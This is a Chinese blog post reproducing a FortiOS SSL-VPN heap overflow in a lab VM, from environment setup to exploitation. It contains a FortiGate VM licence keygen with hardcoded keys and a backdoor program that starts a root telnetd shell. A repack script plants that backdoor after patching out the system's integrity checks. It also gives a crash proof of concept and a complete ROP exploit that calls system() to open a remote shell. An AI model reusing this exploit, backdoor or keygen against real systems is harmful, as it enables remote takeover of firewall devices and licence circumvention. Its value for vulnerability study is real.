foritos 溢出漏洞复现

获取vm和文件系统

环境搭建

把foritos.ovf导入vmware,默认账户是admin:空

配置网络

config system interface
edit port1
set mode static
set ip 192.168.18.99 255.255.255.0
end
#下面这个配置出网是为了gdbserver连接
config router static
edit 1
set device port1
set gateway 192.168.18.128
end

然后设置vm的网络适配器
image.png
最后设置虚拟网络
image.png

提取vmdk中的文件

mkdir /tmp/fos/
guestmount -a Fortios.vmdk -m /dev/sda1 --rw /tmp/fos/
mkdir /root/rootfs/
cp /tmp/fos/rootfs.gz /root/rootfs/rootfs.gz
cd /root/rootfs/
gunzip rootfs.gz > /dev/null 2>&1
cat rootfs | cpio -idmv > /dev/null 2>&1
rm rootfs
chroot . sbin/xz -d -k --check=sha256 bin.tar.xz > /dev/null 2>&1
chroot . sbin/ftar -xf bin.tar > /dev/null 2>&1

获取证书

这个本来是要自己通过ida来获取的,我这里先贴着博客,复现完后再来看看。
https://wzt.ac.cn/2023/03/02/fortigate_debug_env1/
证书获取脚本

"""
FortiGate keygen v1.1
Copyright (C) 2023  CataLpa

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <https://www.gnu.org/licenses/>.
"""

import struct
import base64
from Crypto.Cipher import AES

lic_key_array = {
                    "SERIALNO":       (0x73, 0x0),
                    "CERT":           (0x73, 0x8),
                    "KEY":            (0X73, 0x10),
                    "CERT2":          (0X73, 0x18),
                    "KEY2":           (0X73, 0x20),
                    "CREATEDATE":     (0x73, 0x28),
                    "UUID":           (0x73, 0x30),
                    "CONTRACT":       (0x73, 0x38),
                    "USGFACTORY":     (0x6e, 0x40),
                    "LENCFACTORY":    (0x6e, 0x44),
                    "CARRIERFACTORY": (0x6e, 0x48),
                    "EXPIRY":         (0x6e, 0x4c)
                }

class License:
    fixed_aes_key = b"\x4C\x7A\xD1\x3C\x95\x3E\xB5\xC1\x06\xDA\xFC\xC3\x90\xAE\x3E\xCB"
    fixed_aes_iv =  b"\x4C\x7A\xD1\x3C\x95\x3E\xB5\xC1\x06\xDA\xFC\xC3\x90\xAE\x3E\xCB"
    fixed_rsa_header = b"\x78\x99\xBF\xA5\xEF\x56\xAA\x98\xC1\x0B\x87\x2E\x30\x8E\x54\xF9\x71\xAD\x13\xEA\xAA\xBC\xE2\x0C\xB3\xAE\x65\xAE\xF9\x0E\x9B\xD1\x88\xC7\xFE\xBC\x86\x65\xFE\xE7\x62\xDE\x43\x0B\x02\x15\x36\xC8\xC5\xCD\x0E\xB9\x01\x97\xCE\x82\x27\x0F\x69\x7F\x6A\x29\xEC\x1C"
    
    rsa_header_length = len(fixed_rsa_header)    # 4 bytes
    aes_key = fixed_aes_iv + fixed_aes_key       # 32 bytes  iv + key
    enc_data_length = None
    enc_data = None
    license_data = None
    
    license_header = "-----BEGIN FGT VM LICENSE-----\r\n"
    license_tail = "-----END FGT VM LICENSE-----\r\n"
    
    def __init__(self, licensedata):
        self.license_data = licensedata
    
    def encrypt_data(self):
        tmp_buf = b"\x00" * 4 + struct.pack("<I", 0x13A38693) + b"\x00" * 4 + self.license_data   # append magic number
        
        def encrypt(data, password, iv):
            bs = 16
            pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs).encode()
            cipher = AES.new(password, AES.MODE_CBC, iv)
            data = cipher.encrypt(pad(data))
            return data
        
        self.enc_data = encrypt(tmp_buf, self.aes_key[16:], self.aes_key[:16])
        self.enc_data_length = len(self.enc_data)
    
    def obj_to_license(self):
        buf = b""
        buf += struct.pack("<I", self.rsa_header_length)
        buf += self.fixed_rsa_header
        buf += struct.pack("<I", self.enc_data_length)
        buf += self.enc_data
        return base64.b64encode(buf)

class LicenseDataBlock:
    key_name_length = None    # 1 byte
    key_name = None
    key_flag = None           # 1 byte, 's' for str or 'n' for num
    key_value_length = None   # 2 bytes
    key_value = None

    def __init__(self, keyname, keyvalue):
        self.key_name_length = len(keyname)
        self.key_name = keyname
        self.key_value_length = len(keyvalue)
        self.key_value = keyvalue
        self.key_flag = lic_key_array.get(keyname)[0]
    
    def obj_to_bin(self):
        buf = b""
        buf += struct.pack("<B", self.key_name_length)
        buf += self.key_name.encode()
        buf += struct.pack("<B", self.key_flag)
        if self.key_flag == 0x73:
            buf += struct.pack("<H", self.key_value_length)
            buf += self.key_value.encode()
        elif self.key_flag == 0x6e:
            buf += struct.pack("<H", 4)
            buf += struct.pack("<I", int(self.key_value))
        return buf

if __name__ == "__main__":
    license_data_list = [
                            LicenseDataBlock("SERIALNO", "FGVMPGLICENSEDTOCATALPA"),
                            LicenseDataBlock("CREATEDATE", "1696089600"),
                            LicenseDataBlock("USGFACTORY", "0"),
                            LicenseDataBlock("LENCFACTORY", "0"),
                            LicenseDataBlock("CARRIERFACTORY", "0"),
                            LicenseDataBlock("EXPIRY", "31536000"),
                        ]
    license_data = b""
    for obj in license_data_list:
        license_data += obj.obj_to_bin()

    _lic = License(license_data)
    _lic.encrypt_data()
    raw_license = _lic.obj_to_license().decode()
    
    n = 0
    lic = ""
    while True:
        if n >= len(raw_license):
            break
        lic += raw_license[n:n + 64]
        lic += "\r\n"
        n += 64
    
    with open("./License.lic", "w") as f:
        f.write(_lic.license_header + lic + _lic.license_tail)

    print("[+] Saved to ./License.lic")

直接运行就会生成证书文件直接上传就行。

配置网络环境和port2

image.png
进入后
image.png
image.png
image.png

然后点击应用

image.png
image.png
image.png
image.png
image.png

好了!

注入后门启动调试

patch文件init

文件:/bin/init
在main函数中有几处文件校验,校验不通过会调用dl_halt函数重启vm
patch前
image.png
patch后
image.png
把dl_halt的跳转patch掉就行。

注入后门和gdbserver

//gcc -g shell.c -static -o shellcode
#include <stdio.h>

int tcp_port = 22;

void shell() {
  system("/bin/busybox ls", 0, 0);
  system("/bin/busybox id", 0, 0);
  system(
      "/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 "
      "-p 22",
      0, 0);
  system("/bin/busybox sh", 0, 0);
  return;
}

int main(int argc, char const *argv[]) {
  shell();
  return 0;
}

这里开了两种连shell的方式这样方便后面调试。

然后把虚拟机foritos的vmdk挂载到ubuntu16上,就可以对磁盘进行修改了(踩了无数坑才想到的呜呜呜)

rootfs.gz打包工具

https://github.com/rrrrrrri/fgt-auto-repack
这个python只能传shell和busybox
修改版

# repack.py
import os

ORIGINAL = "./ori"
WORKING = "./working_temp"
BACKUP = "./backup"

def clean():
    try:
        os.system("sudo rm -rf %s" % WORKING)
    except Exception as e:
        print("Error: clean failed")
        print(e)
        exit(0)

def check_env():
    try:
        print("[*] Checking env")
        if not os.path.isdir(ORIGINAL):
            print("Error: missing directory \"%s\"" % ORIGINAL)
            exit(0)
        if not os.path.isfile("%s/rootfs.gz" % ORIGINAL):
            print("Error: missing file \"%s/rootfs.gz\"" % ORIGINAL)
            exit(0)
        if not os.path.isfile("%s/busybox" % ORIGINAL):
            print("Error: missing file \"busybox\"")
            exit(0)
        if not os.path.isfile("/bin/busybox"):
            print("Error: missing file \"/bin/busybox\"")
            exit(0)
        
        os.mkdir(WORKING)
        if not os.path.isdir(WORKING):
            print("Error: cannot create directory \"%s\"" % WORKING)
            exit(0)
        
        os.mkdir(BACKUP)
        if not os.path.isdir(BACKUP):
            print("Error: cannot create directory \"%s\"" % BACKUP)
            exit(0)
    except Exception as e:
        print("Error: %s" % e)
        exit(0)

def unpack_rfs():
    try:
        print("[*] Unpacking rootfs.gz")
        os.system("cp %s/rootfs.gz %s" % (ORIGINAL, WORKING))
        os.system("cd %s && gzip -d ./rootfs.gz" % WORKING)
        os.system("cd %s && sudo cpio -idm < ./rootfs" % WORKING)

        if not os.path.isfile("%s/bin.tar.xz" % WORKING):
            print("Error: unpack failed")
            clean()
            exit(0)
        
        os.system("rm -rf %s/rootfs" % WORKING)
        
        key_files = ["bin.tar.xz", "migadmin.tar.xz", "node-scripts.tar.xz", "usr.tar.xz"]
        for _file in key_files:
            os.system("sudo cp %s/%s %s/%s.tmpbak" % (WORKING, _file, WORKING, _file))
            os.system("cd %s && sudo chroot . /sbin/xz --check=sha256 -d /%s" % (WORKING, _file))
            os.system("cd %s && sudo chroot . /sbin/ftar -xf /%s" % (WORKING, _file[:-3]))
            os.system("sudo rm -rf %s/%s" % (WORKING, _file[:-3]))
            os.system("sudo mv %s/%s.tmpbak %s/%s" % (WORKING, _file, WORKING, _file))
    except Exception as e:
        print("Error: %s" % e)
        exit(0)

def patch_init():    # TODO: Patch it manually for now!
    try:
        os.system("cp %s/bin/init ./" % WORKING)
        print("[*] auto-patch is not supported in this version.")
        print("[*] please patch \"./init\", disable rootfs check manually.\n    And rename it \"./init.patched\"")
        print("[*] input \"DONE\" when finish. Or \"EXIT\" to exit.")
        while True:
            _check = input()
            if _check == "DONE":
                if not os.path.isfile("./init.patched"):
                    print("Error: cannot find patched file")
                    clean()
                    exit(0)
                return
            elif _check == "EXIT":
                exit(0)
            else:
                print("[!] Invalid input!")
    except Exception as e:
        print("Error: %s" % e)
        exit(0)

def repack():
    try:
        print("[*] Repacking")
        os.system("sudo mv %s/bin/init %s/" % (WORKING, BACKUP))
        os.system("sudo mv %s/bin/smartctl %s/" % (WORKING, BACKUP))
        os.system("sudo mv ./init.patched %s/bin/init" % WORKING)
        os.system("gcc -g shell.c -static -o shellcode")
        os.system("sudo cp ./shellcode %s/bin/smartctl" % WORKING)
        os.system("sudo chmod 755 %s/bin/init %s/bin/smartctl" % (WORKING, WORKING))
        os.system("sudo chown root:root %s/bin/init %s/bin/smartctl" % (WORKING, WORKING))
        
        os.system("sudo cp %s/busybox %s/bin/busybox" % (ORIGINAL, WORKING))
        os.system("sudo cp %s/gdbserver %s/bin/gdbserver" % (ORIGINAL, WORKING))
        os.system("sudo chmod 777 %s/bin/busybox" % WORKING)
        os.system("sudo chmod 777 %s/bin/gdbserver" % WORKING)
        os.system("sudo rm -rf %s/bin/sh" % WORKING)
        os.system("cd %s/bin && sudo ln -s /bin/busybox sh" % WORKING)

        # os.chdir('%s' % WORKING)
        # os.system("sudo chroot . /sbin/ftar -cf bin.tar ./bin")
        # os.system("sudo rm -rf bin.tar.xz")
        # os.system("sudo chroot . /sbin/xz --check=sha256 -e bin.tar")
        # os.system("sudo rm -rf bin/")
        # os.chdir("../")

        os.system("cd %s && sudo sh -c 'find . | cpio -H newc -o > ../rootfs'" % WORKING)
        os.system("sudo chmod 777 ./rootfs")
        os.system("cat ./rootfs | gzip > ./rootfs.gz")
        os.system("sudo rm -rf ./rootfs ./init ./shellcode")
    except Exception as e:
        print("Error: %s" % e)
        exit(0)

if __name__ == "__main__":
    print("FortiGate VM 7.2.x automatic repack script v0.2")
    print("Author: CataLpa @ 20230704")

    check_env()
    unpack_rfs()
    patch_init()
    repack()
    clean()

    print("[+] Done!")

然后把打包好的rootfs.gz替换磁盘的。
image.png
用ubuntu16挂载foritos的vm磁盘进行修改

修改内核

修改foritgate虚拟机的vmx文件,添加调试

debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
debugStub.listen.guest32 = "TRUE"
debugStub.listen.guest32.remote = "TRUE"
debugStub.port.guest32 = "12346"

然后ubuntu里gdb启动内核flatk文件的elf版。

gdb ./blgme
targate remote 192.168.1.103:12345 #这里的ip是你windows主机的ip!!!!,不是ubuntu的
#在虚拟机启动后连接
b *0xffffffff807ac117#这里是我们要去修改/sbininit就是内核启动的文件
c
patch string 0xFFFFFFFF808F3591 "/bin/init"#这个地址是ida里面查看的内核文件的字符串地址
patch byte 0xFFFFFFFF808F3591+9 0x00
c

进入vm登录后执行diagnose hardware smartctl即可拿到vm的shell。

调试

使用传入的gdbserver加gdb进行调试。

ps -ef | grep /bin/sslvpnd
gdbserver :23 -attach 189

复现

根据网上的cve说的是因为content_length发生整数溢出导致申请的堆块大小过小,而拷贝长度不变导致的堆溢出。

在ubuntu里解压rootfs的文件,然后gdb调试sslvpnd,连接foritos。

gdb ./sslvpnd
target remote 192.168.18.99:23
c
b 0x164E6B4#在call    _memset下个断点方便调试

测试poc

perl -e 'print "A"x100000' > payload2
curl --data-binary @payload2 -H 'Content-Length: 2147483647' -vik 'https://192.168.121.138:10443/remote/login'

image.png
然后ida查看一下0x000000000164e6b9。发现报错地址就是call _memset。然后查看一下0x0000000001785ba2。
image.png
就可以找到pool_raclloc函数。
memset函数的a2参数为pool_raclloc的a2。
image.png
这里我们反推一下rsi由esi得到,esi的值为rax+1,而eax的值应该为我们输入的0x7fffffff,+1,实际rsi的值为0x80000000。然后作为_memset的第三个参数,但是这里+1后,的实际符号位为1就是负数。这里就会触发整数溢出越界。
如果输入的是0x100000000,那么拓展后,rsi应该为0x0000000000000001。
然后我们构造一个Content-Length,目标是通过memset的时候足够小,并且在memcpy的时候足够大。
这里我构造的是0x1b00000000。这样通过memcpy的时候的大小就只有1了。

漏洞利用

我们可以通过查到image.png
这里存在jmp rax。那我们就可以通过这个jmp rax把堆溢出转变为栈迁移的简单rop。

gadget获取

ROPgadget --binary binary --ropchain > gadgets.txt
cat gadget.txt| grep "push rdx"| grep "pop rsp"

不直接查找的原因是因为init太大了,容易被卡死,这样先输出到文本然后再查看。
由之前的调试可以得到,rdx存的是字符串的起始地址。那我们就可以直接打栈迁移和ret2text了。

        payload = b"B"*2400
        #payload += int_to_bytes(0x46bb37) + b"\x00"*5 # : pop rax ; ret
        payload += p64(0x60b30e) # : pop rax ; pop rcx ; ret
        payload += p64(0x58) # sell offset
        payload += p64(0x2608366)  #junk op, add r13, r8 ; ret
        payload += p64(0x2608366) #junk op, add r13, r8 ; ret
        payload += p64(0x2a0e1c0) # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret
        payload += p64(0x257016a) #push rdx; pop rdi; ret;
        payload += p64(0x530c9e) # : pop rsi ; ret
        payload += b"\x00"*8 # sell offset 0
        payload += p64(0x509382)# : pop rdx ; ret
        payload += b"\x00"*8 # sell offset 0
        payload += p64(0x5693D5) # call system
        payload += b"/bin/busybox telnetd -l /bin/sh -b 192.168.18.99  -p 22"+b"\x00"*8
        raw = payload+b"A"*(2592-len(payload))
        raw += p64(gadget1)

pop rax是用来存放system的字符串的地址偏移,pop rcx是用来弹出1的。
payload += p64(0x2608366) #junk op, add r13, r8 ; ret
payload += p64(0x2608366) #junk op, add r13, r8 ; ret
是用来进行栈平衡。然后add rdx,rax计算字符串地址并存到rdx。然后构造system,system的2,3参数要为空。0x000000000140583a : push rdx ; pop rsp ; add edi, edi ; nop ; ret,这个指令会让执行流到我们构造的rop。

exp

import socket
import ssl
from struct import pack
from pwn import *
def int_to_bytes(n, minlen=0):
    """ Convert integer to bytearray with optional minimum length. 
    """
    if n > 0:
        arr = []
        while n:
            n, rem = n >> 8, n & 0xff
            arr.append(rem)
        b = bytearray(arr)
    elif n == 0:
        b = bytearray(b'\x00')
    else:
        raise ValueError('Only non-negative values supported')

    if minlen > 0 and len(b) < minlen: # zero padding needed?
        b = (minlen-len(b)) * '\x00' + b
    return b
path = "/remote/login".encode()
id = 0
while True:
    print("#"+str(id))
    #access mem addr 0x164e000 - 0x17a1fff
    CL=0x1b00000000
    # push rdx ; pop rsp ; add edi, edi ; nop ; ret
    gadget1 = 0x000000000140583a

    try:
        payload = b"B"*2400
        #payload += int_to_bytes(0x46bb37) + b"\x00"*5 # : pop rax ; ret
        payload += p64(0x60b30e) # : pop rax ; pop rcx ; ret
        payload += p64(0x58) # sell offset
        payload += p64(0x2608366)  #junk op, add r13, r8 ; ret
        payload += p64(0x2608366) #junk op, add r13, r8 ; ret
        payload += p64(0x2a0e1c0) # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret
        payload += p64(0x257016a) #push rdx; pop rdi; ret;
        payload += p64(0x530c9e) # : pop rsi ; ret
        payload += b"\x00"*8 # sell offset 0
        payload += p64(0x509382)# : pop rdx ; ret
        payload += b"\x00"*8 # sell offset 0
        payload += p64(0x5693D5) # call system
        payload += b"/bin/busybox telnetd -l /bin/sh -b 192.168.18.99  -p 22"+b"\x00"*8
        raw = payload+b"A"*(2592-len(payload))
        raw += p64(gadget1)
        #raw += int_to_bytes(gadget2)
        data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.18.99\r\nContent-Length: " + str(int(CL)).encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+raw
        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        _socket.connect(("192.168.18.99", 1443))
        _default_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
        _socket = _default_context.wrap_socket(_socket)
        _socket.sendall(data)
        sleep(1)
        _socket.sendall(b'ls')
        res = _socket.recv(1024)
        print(res)
          
        #res = _socket.recv(1024)
        #if b"HTTP/1.1" not in res:
        #    print("Error detected")
        #    print(CL)
        #    continue
    except Exception as e:
        pass
    id+=1

image.pngimage.png

posted @ 2024-07-25 13:37  津门湖志津香  阅读(196)  评论(0)    收藏  举报